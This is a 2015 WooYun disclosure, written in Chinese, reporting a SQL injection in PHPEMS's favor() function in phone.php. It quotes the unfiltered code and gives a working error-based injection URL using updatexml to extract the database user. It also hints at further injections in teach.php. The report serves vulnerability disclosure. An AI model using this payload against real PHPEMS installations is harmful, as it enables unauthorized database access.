漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0100994
漏洞标题:PHPEMS一处SQL注入漏洞
相关厂商:PHPEMS
漏洞作者: 路人甲
提交时间:2015-03-13 10:21
修复时间:2015-04-30 18:48
公开时间:2015-04-30 18:48
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
PHPEMS一处SQL注入漏洞
详细说明:
10. Phpems某处存在SQL注入漏洞
存在注入漏洞的代码位于/app/exam/phone.php的favor()函数中在这个函数中
具体位置如下
1029行往下
if($search['knowsid'])$args[] = "quest2knows.qkknowsid IN ({$search['knowsid']})";
if($type)
{
if($search['questype'])$args[] = "questionrows.qrtype = '{$search['questype']}'";
$favors = $this->favor->getFavorListByUserid($page,20,$args,1);
}
else
{
if($search['questype'])$args[] = "questions.questiontype = '{$search['questype']}'";
$favors = $this->favor->getFavorListByUserid($page,20,$args);
}
我们看到$search['knowsid']没有经过任何过滤就参与到数据库语句的组合中
再往前追溯
$search = $this->ev->get('search');
可以看到$search是可以被完全控制的,因而导致了SQL注入的发生
验证过程,注册用户,登录之
访问链接:localhost/ems/index.php?exam-phone-favor&search[knowsid]=1,updatexml(1,user(),1)
OK验证没有问题
好吧,这10个漏洞弄完了,友情提示:teach.php中依旧存在大致5个SQL注入漏洞,自己研究吧,不然都发了。。。TT
漏洞证明:
验证过程,注册用户,登录之
访问链接:localhost/ems/index.php?exam-phone-favor&search[knowsid]=1,updatexml(1,user(),1)
OK验证没有问题
修复方案:
严格过滤参数吧
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝